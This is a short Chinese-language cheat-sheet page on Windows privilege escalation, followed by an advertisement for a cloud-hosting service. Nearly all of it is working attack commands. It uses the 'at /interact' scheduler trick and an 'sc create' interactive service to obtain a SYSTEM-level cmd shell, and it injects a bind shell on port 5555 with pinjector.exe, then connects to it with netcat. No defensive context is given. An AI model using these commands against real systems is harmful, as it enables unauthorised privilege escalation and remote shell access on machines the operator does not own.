windows提权-创新互联
- PsExec
- at
- Process_Injector
-
sc
psexec
当前用户是jh
提权之后
*at命令提权(适用于xp,2003)
at 15:05 /interact cmd
sc
创建服务(打开cmd命令窗口的服务)
sc Create systemcmd binPath= "cmd /K start" type= own type= interact
启动服务刚才创建的服务
sc start systemcmd
process_injector
列出当前的所有进程
pinjector.exe -l
选择要提权成的用户,进行进程注入
pinjector.exe -p 732 cmd 5555 #服务端实现进程注入
nc -nv 10.10.10.19 5555 # 客户端连接服务端
另外有需要云服务器可以了解下创新互联scvps.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。
本文题目:windows提权-创新互联
本文链接:http://pwwzsj.com/article/doidip.html